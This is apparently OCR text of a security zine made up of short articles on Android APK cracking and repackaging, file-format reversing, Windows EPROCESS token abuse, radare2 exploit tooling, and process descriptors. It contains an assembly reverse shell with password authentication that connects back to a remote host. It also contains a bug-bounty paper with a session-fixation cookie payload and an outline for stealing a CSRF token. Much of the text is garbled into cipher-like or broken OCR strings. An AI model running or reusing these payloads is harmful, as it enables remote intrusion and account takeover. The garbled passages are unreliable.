Q[hjgkEjQ][h jP<j <gl GQhdY SIMGIjPQNYKB]hWSM Q@ ¥Rjlge E][jg]Y
@<ST @<St HIQ @<I9hI|[@<StYts P14 Z<[s jQZIh jPI DQ[<gs Qh gk[ DIN
d]Q[jlg GIgINIgI[EI YI<GQ[O j] < EghpP<YKR¢ NQ[®Ykj h1jjQ[O Qj j] < “
hjld Qh j] jPglg jPI Z]GQNQIG pxQkdgdjKlg dg]EIhhlh’ [JQhl qQYY
E]lplg<OIYOKQGIG Nkvvig YQXI Zk{Bkidlo<QjhN]g Qjijl
jgQOOIg < Eg<hPe jPI E]gglhd][GQ[O Q[dkj Qh khk<YYs
JPINYsDk'gl Y]IXQ[O N]g- 11gl]plgs hP]kYG < OQpI[ZIjgQE+*YQ:
) IrIEKjIG Q[hjgkEjQ][h*[]jsQIYG jPII
+IgN]JgZ<[EIYOKQGIG h]YpPpQ[fQgjPjgsQ[O GQNNIglI[j][lhe YQXI [K:
Dg<[EP Q[hjgkEjQ][he E<EPIYZQhhI
OPI hlIE][G jgQEX Qh<DQjhQZQY <mdOWKE QE NG |M [ $gX[VO<EEIhhlhe
i1Z<rQZQVIjPIE]plg<Olj]llipl[jk<Yhdsl BIQY &P IN%<I®IE k jPGhmIXI[EPK{{I"
ql’gl <QZQ[O <jZ<rQZQVQ[O jPI [kZdIgpNysJEkjlI & s]k Wkhj P<pl j] NQ

DHKIMOMDIBT NCG@St NTN
AMINP=KMJ>@EHNN MK @ | t

>H? @ VN N%s £ MIB O
F@T G

RCDG@ "

H<SDHPHtO

AJM DINOMDIB%KMDIO<=G@"
>0 >H? | NCG@S%LPJO@YE@ TIDO T
-t NO?JPO O JK@IY>T NO?@MMQ %>NBBREGO<0@ Y
I=-DINOMP>0D.JIN KO ?JP O % 2@@>J 2 @¥N K GDO5Y ¢
DAI=-DINOMP>0ODJIN O #2SDHPH;

H<SDHPH O I=-DINOMP>0DJINT D

F@T 10 H<SDHPH;

YF@T

dustri.org



v E}] Z A E
vP]l]v &E]JvPJ

Have you ever wondereh ZC §Z E [+ ¢} u vCtheclassD}+8 }( $Z

cracked apps out there? Well, because Android
Reversing is simple. @K ] 3 [ that simple, but
ules }( 8z A 0}% E- }v[E E
the job of reverse engineers easier, because they
}v[S§ any protection You can argue, that the
more popular the app is, the better protected it is.
Keep that in your mind, when picking your target.
&|E&+S }( ooU C}lu[oo v }u

Android Reverse Engineering

example, you want to find the web API? Simply

®. E 7 (}CE Yvdwaskdo find the app

settingS E Z GhéfedPreferencesYou

want to find a special functionality? Just google
how you would implemenit and then search for
§Ju U C}u A}v][s
to google it, because you can easily guess it.

Editing

vV ordeHdutolind the variable or function you can

simply go to the smdlfiles and patch it. To do

that you need to find the path where it's stored. In
Java there are packages, which are the equivalent
to folders. If you scroll to the top in jdgui you

S}}o<should find thgﬁdrbkage namafter that, simply

ES JvoC }v[3 A vs 8§} } A €& C S Z] 4Blat&Rhid! pacChokiefs’and go to the resulting

These are the tools we will be using throughout
the article:

- apktool

- dex2jar

- daui

- bytecodeviewer
Generating a .jar
Generally, the first thing you would do, is generate
a .jar, which is just a simple .zip filBecompiling
that by hand would be hard because it contains
the compiled bytecode, thus we use decompilers
like jdgui or bytecodeviewer. To generate a .jar
you need the tootlex2jar. You can simply run this
command and it'll automatically generaitefor
you.

d2j - dex2jar.bat <android - app>.apk

Decompiling the apk

However, if you want to edit something in the apk
you need the toohpktool. Run this command and
a folder will be generated for you with all the
source code and resources.

d2j - dex2jar.bat - f<android - app>.apk

Reverse Engineering

Opening the .jar

We won't be looking at the smali files (generated
with apktool) yet, because it's easier to look (and
search) for stuff in jdgui or bytecodeviewer. You
can open it via drag and drop or the menu.
Sowhere do we actually ste?The first thing you
should do, is opening the search and just look for
classes which implement interesting stuff. For

I Assembly Language used by Android

Github: github.com/not-matthias
Twitter: twitter.com/not_matthias
Blog: not-matthias.github.io

path.

<android - app>/smali/<your -
package>/<your - class>.smali
Packing

Reverse engineering and patching an app is cool,
but how can we actually instatf?

Building the apk

To build the decompiled files, you can run this
command. The built apk will be located

at <android-app>/dist.

apktool b <android - app>

Creating a new certificate

To be able to install the apk, you need to sign it.
Luckily there are no certificate checks
implemented in Android, so we can simply
generate our own certificate. The program
keytool.exeis part of the JDK and is located in the
/bin folder. | recommend adding it to your PATH
variable, so you don't have to write the entire path
every time.

keytool.exe - genkey - keystore

<keystore - name>.keystore - validity
1000 - alias <alias>

Signing the apk
The last step is simply running this command. Then
you can install the apk on any Android devitke
programjarsigner.exes again included in the JDK.
jarsigner.exe

name>.keystore
app>.apk <alias>

- keystore <keystore -
- verbose <android -

This article was originally published on not-matthias.github.io
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Reverse Engineering File Format From Scratch

5HYHUVH (QJLQHHULQJ JLOH )RUPDW )

,GR )LOXV

8VXDOO\ ILOH VWUXFWXUHYV DUH YDYRMLFARBXWKOQWHGXLFNO\ IRUJRW DER
ZLWK RSHQ VRXUFH SDUVHUV DYDLGDBOHOEXDWM & KRMXVHG RQ EXLOGLQJ D
QRW DOZD\V WKH FDVH ,Q WKLV DUWLFQ@HQFH ZMO O RRINMKE DHVV VFDU\ WK
ORRN DW D FDVH VWXG\ Rl UHYHUVH 6 QUK B RDMBOQEHNDW BYLQJ WKH UHIHUH
(IHIHFWV SURMHFW ILOH WKLV ZLO®OW HRIWRDW GXIHDUQHG KRZ VLQJOH WD
SXUSRVH RI GHPRQVWUDWLQJ KRZ ZHWADWLEXWHVY DUUD\V HWF DUH UHSUFL
XQGHUVWDQG WKH ILOH VWUXFWXUE>XIOBQLQJ WKH SDUVHU , MXVW PDGH L
XQGRFXPHQWHG IRUPDW DQG VKRZLQIWLIODMVLKLIW R BWRLQW LW ARXQOGQ W
DV VFDU\ DV RQH PD\ WKLQN %DVHGRWHURHQHG WKH SUREOHP IL[HG LW
DFTXLUHG NQRZOHGJH ZH VKRXOG EMHXDWE B H YMENELOGEIDUVHU ZDV DEOH V
ILOH SDUVHU DQG H[WUDFW LQIRUP®WHR@RGHY DQG GDWD LQ WKH ILOH

7KH ILUVW WKLQJ , GLG ZDV RSHQL®L QMKH WIKMHHSIDQ WHHERXOG DOUHDG\ X

HGLWRU WR JHW D JHQHUDO [HHOLQSUIRMHIFW ®QORSHDWVYRWEHVFULEHG DV

WKH 3ILOH” WRRO WR OHDUQ ZKDW PRI E @ BRRX W[ W/ BIF MW OMK H KEIRFFKS RV L W

IRUPDW NLQG RI D OD\HUV JURRSLWEHQHS$( FRX
ZRUN RQ XQGHUVWDQGLQJ WKH PHDQL
DQG WKH GDWD WKH\ FRQWDLQ LW V}t
GDWD ZDV IRXG® WY WKHEXWH LQ D EL!
IRUPDW

7KH HDVLHVW ZD\ WR JR DERXW LW ZD'
HPSW\ SURMHFW WR PLQLPL]JH WKH DPI
HISRUW LW DQG WKHQ DGG OD\HUV ZH
RI DQG GR D GLIIl EHWZHHQ WKH ROG |
'R QRWH WKDW LW V DOVR EHQHILFLDC
DSSURDFK IRHFPSXWWREBRAWY WR XQGH!L

,Q WKLV H[DPSOH LW ZDELUHHIOLOWE W/ Y BULDEOH GDWD VXFK DV WLPHI

5,)) ILOKLOH OHDUQLQJ PRUH DERXWWRUB®SVR zDQWHG

WR EHWWHU XQGHUVWDQG KRZ WKHVH ILOHV DUH XVHG LQVLGH

$( 6LQFH $( LV D SUHWW\ KXJH , GLBEOIRVZHEW EEQARPR \sgDWD ZH FDQ WU\
WKH ELQDULHV MXVW \HW DQG KRSHIkBBV MWW N EPRWYW XFK DV LQWHJHL
RYHUDOO $( DGORHAV$XV! WRYH D &RBQR&/WHH ZKDW PDNHV WKH PRVW VHQV
0/” ZKLFK FDXJKW P\ DWWHQWLRQ MW foPHRWBYBYROWKHWKH ILOH  ZH VK
ILOH VWUXFWXUH FDQ EH UHSUHVHOWHXKYH KW Wil HITHFW" DQG SVHWWL
KXPDQ UHDGDEOH zZD\ ,W DOVR PLIJRWHDNYY KHOSHG PH

PDNH KHDGV RU WDLOV RI WKH $6&,, VWULQJV , VDZ LQ WKH
KH[ HGLWRU QRWH WKH VLPLODULWLHY @ MNIHFHETWRPBYEKWER WKH GLITHL

ILOHVZYDS’ :RKE@BGGIWF JXHVVLQJ WKH W\SHV XQWLO ZH UH VD
HQRXJK ,WfV LPSRUWDQW WR DOVR D
ENQ<K?<D»Av= ABOA ZRXORXLPSOHPHQW WKH $( IRUPDW GH\

d:@<£_?<@<‘»»AA»»»1/4»A1/2:A@»AA»»»»%BWJS@SV LWV DXWKRUV XVHG D VLPLO
(YHQWXDOO\ \RX FDQ DOVR VHDUFK WK

P Ya»»»» IV~

C]C@5_2?<C(,D<_»»»»»»»»»»»»»»»A»»»%»%E)Hlﬂ@%\ IRU VWULQJV RU GDWD ZH FDQ

»»1/2»»»»»»»(;@('J1/4A»AA1/2»»»»»W‘)f))»»A&NBAHR@_V 8, LWVHOI LW PD\ UHYHDO

O<?AM?<@<_¢»@AA»»»»»)'B"%@»»»_ QHDUE\ VXFK DV D FODVV LQVWDQFH \

O<KOAOMME &w O JLYHQ W\SH RI GDWD 2U BHGIBHD®/YHDUFK
YDOXH LWVHOI DQG ORRN DURXQG LWV
PRUH

https://www.linkedin.com/in/ido-filus-6783b812b/



Back to the BASICs

7KH WKHPHRI *RIRIJOIMH &7bH 4XDOL
ZDW KLVWRUD\ RI KIbFINLQB DQG ZI
FHOHEQWUDWH LW VK D Q& RVWBRP RPARNUHH
UHYHUVH HQJ . QHHULKJ Kb OCH Q&
SFWXDOOW P\ RBLIL®GDO WGHD BEL
DVVHPIEO\ FKDOOHQIHDQGHh/ R , VIS
ZDWFKLQJ ObFKDO 7BV]\WNL V & L
VHUhOHW > @ WKDWh ERYJIKWOVRBHDL
HSLVRGHYV WIRXBKHB RQ WKH L Q Wt
LOQWHUSUHWHU bQWG DIWHU pKHIDL
SURJUWP BDV VWRUHG L® BHPR W\
VSUDQJ LQWR P\ PLQG b
6R %%$6,& LW ZDV b
TR FEFXOW WRWKH BKDWH ID®G BHW b I
WASLFDO %$6,& SURJUDP ORRNV O
35,17 +,
*272
$Q6 LW VVWRIWNHG LQbPHPRR W\ DG
VLQJOH OLQNHG OLVW VWDUWLQJ

b
(DFK ObVW RQRGH BRQV[BRLY\RHD b
IJLWWOH (QGLINQ MKH ObQH RXPE
WKHVH SOHIL] QKPEBUV IDWH DOV
WKHQ WKH QXOO WHUPLQDWHG G
OLRH FROWHIQW LbH %$6,®& NB\ZR
[ NH\ZRUGBWb@&HUH WHKWRUGBLG
WDNHQ INRP D GLFWLRQDU\bKDU:(
%$6p% LQWHWSUHIWHW > @ BQIB W
ZLWK PQ DGGLWLRQDO HPSW\ QRG
18// SRLQW H UQIHJWMKGIG b
W KDV WRDEH QRWHWG WKDW VWR UL (
OlWVW RI ®LOHV LIV SUHWW\bXQX VXD
2QWHKH IOLS YWLGH LPDBLQM DOO )
JLYHV RQH WR PHVV ZLWK SOD\HU
/JHWb V VWDUMW ZhWK WKH SUHWIN\ V
WKIDW BLQH QXPEHUYV GRQ W UHDHK
7UXIH ERZVAR QG 268%D Q@G DblHZ R
FRPPDQGV IXVH WKHPP EXoW D®DUWb
PRWW ObQHN FD® KDYHbLGHQWLFDI
NHHISBY WIKHP QRQ GHWFUBWDVLQJDbWI
ZRUN MEKVWbIbQHb QBRW WKHOFDVHIE
EXW LW V 2. LI ZH RQOX &R WKHE R
ORYLOJWR PRUH LQWIHUHVBVLQB WK

RbWHKH ®OLWVWW LVbSUHWIN\WLPSOH L
608 6HOI ORGWI\LQD &RGH W HHBRKQ
JRU LQVWDQRH WKHoSUBRDUDP FDIR
VLQBOHOW Qi DWW © H iV 6 PRYP P D X
FRQFHUQHG b:KHQ HEHFXWHB WKh\
W KBIH BW HIO ORI W K HbQH [W QRIS H | URI
WR D SURSHU YDOXH WKXW DOOR?Z
FROQWbQXH WKHOVHERQG DLQH VK
WKH GRRU b L B SKXW WHKH 18/4 SR bt
WKLV ZLOO EUHDN EDFNZDUG MXP
$FWXDOI®\ DbPRWH I»Q ZD\ WR WoD F
EUHDN7DGLVFORVLQI WKH VRYUF
ZDQW MWR Kl GoH bLV WIR PDN# D QB GH
DJDLQ DW UXQWLPH XVLQJ 60& ¢

b
5XQQWQJ WKHb/,67 FRPPIMQG bQ V&
LQWHUHVWLQJ UHVXOWV b

b
$Q6 OMVWDEXW QRBN OHD VW BHL®QJ
RQH V OVRbDBOH WR HQFU\SW
QRGHV DQG GHFU\SW GHREIXVFD
6R0 KRIZ GIR ZiH R DO® RIBWKLW X
HGLWRU LQWHUSWHWHWU" HR LGH
FKDOOB®@JH b, WDG WR 2DULWH P\ BZ
A PFDO®HG LW & UDOFN % $6h &E H BD X \
VROH SXUWSRYWH RI MUHDWLQJ Wbt
EHFDEVHLW Wb%$6,& R BUDIFEM , W
IHDWXUHVb OLNB EHLQJb DEOH by
DGGUHW VIV RI WSHFLILbF OLQHV D\
HQFUBSW VHOHFWHIS SPUWY RIBVKE
RXW LQ WKH FKDOOHQJH V VRXUFI
$Q6 WKDWDbOVBLW , H@FRXUDWH hR X
FKDOOWMHQJIH \RXUVHIO| bWKHWH D WH
WKHUH b
b

*\QYDHO &R
b

\Y

®’ewwsyY JLWKXE FRP JRRJOH JR
TXDOV UHBEDVLFV
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Reverse Shell With Auth For Linux64

REVERSE SHELL WITH

AUTH FOR LINUX64

This payload will connect back to a
remote location over TCP/IPv4 and launch
a shell only if a valid password is
provided.

hld

The process consists of 5 steps, each
one involving one system call:

1 Create a new socket

2 Connect to the target address

3 Read 8 bytes and check if they match
the password

4 Duplicate  each standard stream
(stdin, stdout and stderr) into the
socket, allowing the target to send
and receive messages

5 Execute a shell

"How do | make a syscall?" you may ask.
Place the syscall number into RAX
Parameters go into:

RDI, RSI, RDXR10,R8,R9 and the stack
Use the syscall instruction and...
Let the kernel do the magic!

Configs for the payload:

_TARGET

To get this number:

1 IP to hex

2 Port to hex

3 Constant for IPv4

4 Put it all together 0x

(notice how IP and port endianness

change!)

5 Extra step: As the original value has
null bytes, it was replaced with its
one's complement.

127.0.0.1 -> 0x7f000001
4444 -> 0x115c
IPv4 -> 0x0002

0x01 7f5¢c11 02->0xfeffff80a3eefffd
_PASS
Hex little-endian for "LETMEIN!"
(echo -n 'LETMEIN!" | rev | xxd )

The code provided favors readability instead of size
or speed. Many improvements can be done to it.
| leave that exercise to the reader.
Happy hacking!!

0100007f 5c11 0002

;1 - Create a socket

push ; socket syscall n°
pop rax

xor  rdx, rdx ; Zzero out rdx
push : 2 means IPv4
pop rdi

push ;1 means TCP
pop rsi

syscall

mov rl5, rax : save socket in r15

; 2 - Connect to the target

mov rdi, rax
MoV rcx, _TARGET
not rcx 1 rex=127.0.0.1:4444
push rcx
mov rsi, rsp
push ; IPv4 address length
pop rdx
push ; connect syscall n°
pop rax
syscall
; 3 - Read password from client
read_pass:
XOr rax, rax ; read syscall (0)
mov rdi, r15 ; rdi = socket fd
push
pop rdx ; rdx = 8 (input size)
sub rsp, rdx
mov rsi, rsp : rsi -> buffer
syscall
; Check password
mov rax, _PASS
mov rdi, rsi
scasq ; compares rax vs rdi

jne read_pass

; 4 - Duplicate streams 2,1 and 0

mov rdi, r15 : rdi=socket fd
push : 2 == stderr
pop rsi
loop_through_stdfds:
push ; dup2 syscall n°
pop rax
syscall
dec rsi : next stream

jns loop_through_stdfds

; 5 - Execve("/bin/sh")

xor rdx, rdx

push rdx

; echo -n '//bin/sh’ | rev | xxd
mov rbx,

push rbx

mov rdi, rsp

push rdx

mov rdx, rsp

push rdi

mov rsi, rsp

push ; execve syscall n°
pop rax

syscall

@syscall59
medium.syscall59.com



On escalating your bug bounty findings

Attacker forces the victim to log in to

O n escal atl n g O u r https://www.shopify.com/admin/apps/flow
b u g b ou nty N | N gS which " redirects to " vie

tim.shopify.com/admin/apps/ ow and then triggers
the login ow;
Finally, the attacker can use the original session iden-

Based on publicly-disclosed bug bounty reports, techni- i er to authenticate as the Victim.

cal quirks, such as the ones listed in the HTTP cookies

RFC!, are rarely being used to escalate popular attack . ) i ) i

vectors like cross-site scripting (XSS). The lack of exploring OMPININg minor issues with an unauthenticated

issues further could be a result of the competitiveness of '€ €Cted XSS 10 gain access to authenticated func-

bug bounty programs, where bug bounty hunters attempt tionality

to submit reports immediately upon discovery of a poten- \while collaborating with Alessandro De Micheli 3, a very

tial problem. Another cause may be the lack of bug bounty pasic unauthenticated re ected cross-site scripting aw

programs rewarding reporters based on the impact of the was discovered on a private program where based on past

reported vulnerability. In this short paper, we want to  experiences, the reporters knew this private bug bounty

cover two noteworthy reports where we combined further program incorporate the impact into the bounty amount.

issues to demonstrate the impact of the vulnerability. The To escalate the issue further and gain access to authenti-

goal here is to encourage readers to toy around with their cated functionality, Alessandro and Edwin examined the

ndings and incorporate further minor issues into their main application looking for any minor aws that could

proof of concepts to illustrate the impact of their ndings. pe leveraged. This was when they stumbled across an
endpoint with the following HTTP response (modi ed for

Session xation on Shopify enabling account brevity):
takeover HTTP/1.1 200 OK

As Shopify's security policy states, cross-site scripting on Access-Control-Allow-Origin: *

* shopifycloud.com  and *.shopifyapps.com is out of X CSI-Wt eYAAAAAAAAAA. ..

scope because both of these hosts are littered with XSS. wjith a simple AJAX call, it was possible to retrieve the
In other words, cross-site scripting on those hosts would x-csrf-jwt  token.

be considered an invalid nding?.

Upon discovering an XSS aw in Shopify's SDK, )
Filedescriptor found that speci ¢ Shopify-built applications > 2% (‘.{
used signed sessions or session identi ers. This discovery
led to Filedescriptor noticing that where session identi ers
were used, the applications were not generating fresh iden-
ti ers on login. To put it another way, these applications
were linking whatever session identi er was present in the :
cookie header upon sign in with the authenticated user.

This is known as Session Fixation and anybody that runs

a bug bounty program has almost certainly seen this type _ }
of behaviour reported as is without the reporter chaining 1)
the issue with other ndings to demonstrate exploitability. Further, the settings panel of users' on the target ap-

As a result of this Session Fixation in certain appli- plication had a feature which allowed people to export
cations belonging to Shopify, Filedescriptor was able to all their user data and history similar to the GDPR
leverage an XSS aw in an out-of-scope asset to a ect features you might see on Uber. By using the ex Itrated
www.shopify.com itself. A hypothetical attack scenario x-csrf-jwt  token, the fact that the login panel was frame-
could take place as follows. able, the GDPR export function, and the XSS vulnera-

bility, Alessandro and Edwin would have been able to leak
An adversary visits the application where they en- authenticated data from an unsuspecting user.
countered the Session Fixation and takes note of the  The fully- edged exploit is too long to include in this
session identi er the application assigns to them;, paper, so a summary of the code is listed below.
The attacker uses the XSS or*.shopifycloud.com
and sets a cookie on behalf of the victim, scoped to
all of Shopify's subdomains.

'GET",
. 'https://example.com/endpoint' :
. function (data, status , r){
alert (r.getResponseHeade( 'x-csrf-jwt’ ) ;

function (r, status , error) {
alert (r.getResponseHeade( 'x-csrf-jwt’ ) ;

" Create iframe of login panel,

" AJAX call to ex Itrate  x-csrf-jwt  token and initiate
download using token;

Wait for 200 OKstatus code from/export endpoint
and fetch exported ZIP from user's/download end-
point.

document.cookie="_flow_session=EVIL;domain=
.shopifycloud.com;path=/";

Lhttps://tools.ietf.org/html/rfc2965
2https://hackerone.com/shopify 3https://hackerone.com/europa

https://twitter.com/edoverflow
https://twitter.com/filedescriptor
https://edoverflow.com/



Fun with process descriptors

concept for processes called "process descriptofs'in
FreeBSD [2]. Instead of using afork(2) syscall we can
use apdfork(2) syscall to spawn a new process. This
syscall will return a handler called a process descrip-
tor, which corresponds to the descriptor table - ledesc
Besides the early version of MS-DOS (1.x-2.x), the Structure in FreeBSD kernel. Process descriptors behave

rst versions of UNIX, Mac, and AmigaOS were de- like other descriptors (les, sockets, pipes etc), we can
signed as multitasking operating systems [1]. The basic duplicate them (dup(2)), send them to other processes
primitive which allows this design was a process. We (via UNIX domain sockets), and close them €lose(2)).

understand that a process is a program in execution. |f there exists at least one process descriptor, the
Processes are identi ed by unique numbers calle@®ID s. Structures representing the process in kernel cannot be
After 40 years, this fundamental abstraction is still used removed even if the process exited. Thanks to that we
by all modern operating systems. can check the status of a process even after it has ex-

The design of operating systems is constantly evoly- It€d - solving the pkill(1) problem. Right now the only
ing, and with time it turned out that the ordinary de-  Proper way to fetch the status of the process is through

sign of processes has some downsides. First is the rackSing kqueue(2) The pdfork(2)'ed process will not send
condition while we try to destroy (kill) a process. As SIGCHILD stothe parent process even if the parent pro-
mentioned before, the process is identi ed by a single C€SS iSWwait(2)ing for all processes. When all of the pro-
number (PID). When we use pkill(1) , we are providing a C€SS descrlptors are closed, the process is terminafed

name of the executable we want to kill. The application [N the Linux world there have also been attempt to

has to create a list of processes and their correspondingCréate process descriptors by adding an additional ag
PIDs. pkill will send the signal (SIGTERM ) to destroy -~ CLONE-FD - to the clone(2) syscall, which is used to
the process to all PIDs matching the sought phrase. The SPawn a néw process in thls kernel. The initial wo_rk was
race condition occurs while we are going through the list Started in 2015 by Josh Triplett, but never landed in the

of executables. After we have created the list; the pro- Linux kernel [3]. Recently Linux developer introduced

cess may disspear and the PID may be reused. In such? NeW ag - CLONE_PIDFD - which allows that [4].
a situation, a signal will be sent to the recently created HOWever, in v5.2 Linux kernel tag the only reliable way

Fun with process
descriptors

process, which may have a di erent name/executable.
By default the maximum PID value is 32,768 on

Linux® and 99,999 on FreeBSB. If this number is hit

the counter starts using the lowest of the unused PIDs.

In an environment with a lot of processes being spawned,

the probability of a short-term PID reuse is signi cant.
It is also worth mentioning that some con gurations use
randomised PIDs for discussable security benet.

Another interesting problem with this design is that
it's not friendly for libraries. Right now if our library
would like to create a new process, the application using
it must be aware of such behavior. The point is, that if
the application uses thewait(2) syscalf, it may receive
the signal from a process created by the library. If a pro-
gram is not prepared for that it can crash in unexpected
and random ways.

An interesting question is: should libraries behave in
such an "unexpected" way and spawn new child pro-

cesses? Is it a bad design? Not necessarily. If libraries

try to secure themselves through privilege separation or

using capabilities systems (like Capsicum) it can be use-

ful. The same goes for optimisation. If libraries are try-
ing to use multithreading for optimising purposes should
the main program be aware of that?

For those two reasons, in 2010 we developed a new

LIt can be read from /proc/sys/kernelipid ~ _max. It can be in-
creased up to 222 on 64-bit Linux.

2]t can be read and decreased using kern.max _pid.

3 https://www.whitewinterwolf.com/posts/2015/05/23/
do-randomized-pids-bring-more-security/

4wait(2) and wait2(2) are used to wait for a status change of
all child processes. The same goes for wait4(2) and waitpid(2)
with -1 argument as wpid.

to access procfs process information/groc/ <pid>/)

through PIDFD is to open the directory via process'

PID and validate if the process is still running by send-
ing a signal to it via PIDFD. There are some proposals
to use pidfd_open to simplify this process [5].

The process descriptors give a reliable handle to the
process. Through introducing this concept, we enable
libraries to spawn new processes transparently to the
application and prevent race conditions when signalling
or managing the process In today's world with high per-
formance and short living processes it is unacceptable
to have an unreliable interface to handle processes. It
would be interesting to see this concept incorporated
more widely.
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pidfd _open(),

51t is worth noting that in the Linux kernel world the "Process
Descriptors" also refer to the task_struct structure, which contains
all the information about the single process. Here we stick t o the
userland process descriptors.

6This behavior may be changed by passing PD _DAEMON
to the pdfork(2) syscall.
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Windows EPROCESS Exploitation

DSSOLFDWLRQ WKHVH IODJV FRXOG EH PR
7Q[G]qh +$ // VHFXULW\ SURWHFWLRQV IURP WKH DSSOL

rdY]Qj<jQl]] &,* &)* DQG RWKHUV

%UXQR *RQoDOYHV GH 20LYHLUD PSKI[
ONG! G[ LG I H HHD U

‘KLOH H[SORLWLQJ WKH :LQGRZV NHUQHO \WHWHWH)DBHE BXIBW & 666H
REMHFWV WKDW DQ DWWDFNHU FDQ LQWHUWDHKW FZAWK WR WDIBEWLRQ)ODJIVIDOX
SULYLOHJHV LQ XVHUVSDFH 6LQFH WKH NMUQHO LV WKH EDVH IRU
HYHU\WKLQJ UXQQLQJ LQ XVHUODQG D OO HRKDFUMHF@IHULVWLFV IURP
WKRVH REMHFWV FDQ EH FRPSURPLVHG 2QH LQWHU@VWLQJ
REMHFW WKDW HQDEOHV WKLV W\SH R&RiQSQRLOYD WL R UL ¥ (QIKEO B B
(352&(66 7KLV W\SH RI REMHFW LV FUHRQYWR QAGNBHQH®@
VSDFH IRU DQ\ SURFHVV VWDUWHG LQ XVHUYSPFH 7KL® REMHFW
FDUULHV DURXQG DOO WKH HOHPHQWV &RIQW QRIOQ® MR XD UG FSRUW6B6XSSUHVVLRQ(
SURFHVV LQFOXGLQJ LWV VHFXULW\ HOHPHQIW 7KLV DUWLFOH
GHVFULEHV WKUHH Rl WKH HOHPHQWY WKDW FDQ EH X@LOL]HG IRU
H[SORLWDWLRQ SXUSRVHV 7RNHQ OLWIHEMIWRQFODIV DQG
BURWHFWLRQ
7RNHQ LV D SRLQWHU WKDW LQGLFDWHY WK L$EI W BIFFHVWWRWHFWLRQV ZRXOG D
&RQWURO /LVWV WKDW DUH EHLQJ XVHG HE\WWHKHGS WRFHHY W WRFIN LIWOORFDWLQJ 5:; P
LV SRVVLEOH WR PRGLI\ WKLV HOHPHQWLXDEQLPRWKHWBREGURWHFWLRQ IRU IXU
YXOQHUDELOLW\ \VZXRRVEDV ZKWW ! ZKH$BRWKHU UHVRXUFH RQ (352&(66 WKDW FD¢
H[SORLWDWLRQ SULPLWLYHV LW ZRXOG BHSIGIRVWBOH R@R EXDWQKH WKRWHFWLRQ RII
SURFHVV SULYLOHJHV )RU H[DPSOH VHMIE ODIEH QHWPHQULW\ IURP WKH SURFHV\
XQSULYLOHJHG WRNHQ IURP DQ H[LVWLQURSVWHRIFMME YXRKHYY /LIJKW 33/ SURWHFV
FPG H[H ZLWK D 6<67(0 WRNHQ VR HYHU\SBRRWBO®WKDMW SURFHVVY KDQGOHV DJIDL
LV UXQ ZLWKLQ WKLV FPG H[H SURFHVNREIRXPBWURQ BYHQ XQGHU WKH VDPH 7R
6<67(0 DQ DGPLQLVWUDWRU KLJK SULYLOHJH DFFRXQW
7KH RIIVHW IRU WKH WRNHQ LQ :LQGRZV OMNG![ GNVR D3 11 E E F u
VR WKH (352&(66 DGGUHVV [ ZLOO UHIHQWNR QOKH B36B3527(&7,21
SRLQWHU IRU WKH WRNHQ LQ WKH VSHFLILAISIURFEW BWVKRZQ
EHORZ WKH 7RNHQ LV D SRLQWHU WR D VWU RMMX QD WK BWeABIBQ KRY H 1
DOO WKH $&/V LQ SODFH IRU WKH SURFHVVIIIl E E HF F D

>7\SH B36B3527(&7,21@

ONG! GW B(352&(66 Illl H FG 7RNHQ > [ @ /HYHO [
QW B(352&(66 >7\SH XQVLJQHG FKDU@
[ 7RNHQ B(;B)$67B5() > [ @ 7\SH
ONG! GT IIIl H FG [ [ >7\SH XQVLJQHG FKDU@
Il H CFG G IIIIF CHI E > [ @ $XGLW
C [ >7\SH XQVLJQHG FKDU@
> [ @ 6LJQHU

,Q D GLIITHUHQW VLWXDWLRQ LW LV DOVR SRVIH EXQGIVW RQAIRZ HKIDW I@H

SULYLOHJHV RI D SURFHVV DQG WKHQ EHLQJDEOH WR UHDFK ZLWK

DQ XQSULYLOHJHG DFFRXQW IRU HIDPSOKHRXHWKRWMBWY.RHHQM FDQ EH GLVDEOHG E\
,W LV DOVR SRVVLEOH WR HGLW WKH ®&/0VAQWKHAKIRNBQ EROVR OLPLWYV WKH S

WKDW ZLOO QRW EH FRYHUHG KHUH 7KVVQHFHMKR S URHRVMHIGVEHVR EH KDQGOHG E\ DC

XVHIXO LI WKH DWWDFNHU GRHV QRW ZD®RW DVROUQ I VLRV V20D PLARAR Z WKLV LQWHUD

GXH WR DQ DFWLYH SURFHVV ZLWK HOH%IBIW—HB—{QBIHVLOHJHV

$OVR LQ :LQGRZV WKHUH DUH DQRWKHY MW 51\ =

DV SRSXODU DV WKH 7RNHQ EXW LQWHUWVR g ‘ % B.HUQHOB:3

OLWLJDWLRQ)ODJV [ DQG OLWLJDWLR@g@sy [ EHUBQI,JKWM RUJ ZS FRQWHC
7KLV EHFRPHV KDQG\ ZKHQ DGPLQLVWUDRAYSEXNVIVOOHIHY DR UL QJ H[SORLW

QRW HQRXJK IRU H[DPSOH ZKLOH HVF XWLRQ SGI
> HVFX FRP "S

[

twitter.com/mphx2
github.com/bmphx2



MOV your Exploit Development Workflow to [r2land]

MOV your Exploit Development Workflow to [r2land]

[Intro 1>

checksec.sh, mH W D V S<pBttekif @reate & pattern_offset, file, readelf, r
to reduce the amount of tools for your exploit deve

[Executable File Information

/ File and security attributes
\ Checksec

/ Show entry point

| Show imports

| Show exports

| Show strings

| Get address of func@plt
\ Get address of func@got

| Show sections
\ Grep section permissions

[Debugging/Analysis ]>

/ Debug binary

| Debug binary without ASLR
| Follow fork mode

| Enter Visual Mode

| Continue, Step, Step over

\ Backtrace

/ Auto analysis of binary
| Print disassembly
\ Print xrefs to address

[Memory Analysis]>

/ Search for string
| Search for hex
\ Search for asm instructions

! Memory telescoping
\ Register telescoping

/ Show memory maps
| Show map of heap
\ List loaded modules

[Exploitation]>

[ Print de-bruijn pattern
| Get offset from pattern
\ Get offset from IP

/ Search for ROP gadgets

| Display ROP gadgets linear
| Show ROP options

\ Set max instructions/gadget

/ Assemble asm instructions
| Disassemble opcodes
\ Generate shellcode

>

il
i~pic,canary,nx,crypto,stripped,static,relocs

ieq

ii

iE

iz

?v sym.imp.<func_name>
?v reloc.<func_name>

iS
iIS~<permission> ; Tilde "greps" entries

$r2 -d <program> [<argl >]
$ r2 -d rarun2 program=<program> aslr=no [argl=<ar
e dbg.forks = true
V!
dc,ds,dso
dbt

aaa ; Usually performed as first command

pdf @ <func_name/address> ; At selects functions/addresses

axt @ <func_name/address>

"/ <string>
"Ix <bytes> "
"/c <mnemonics>

pxr @ <register> ; Pretty print/Smart dereferences
drr

dm ; Needs to be in debug mode
dmh
dmm

$ragg2 - P <length> -r
wopO <pattern fragment> ; Similar to pattern_offset.rb
wopO dr <instruction ptr name > ; Use after segfault

/R <gadget>

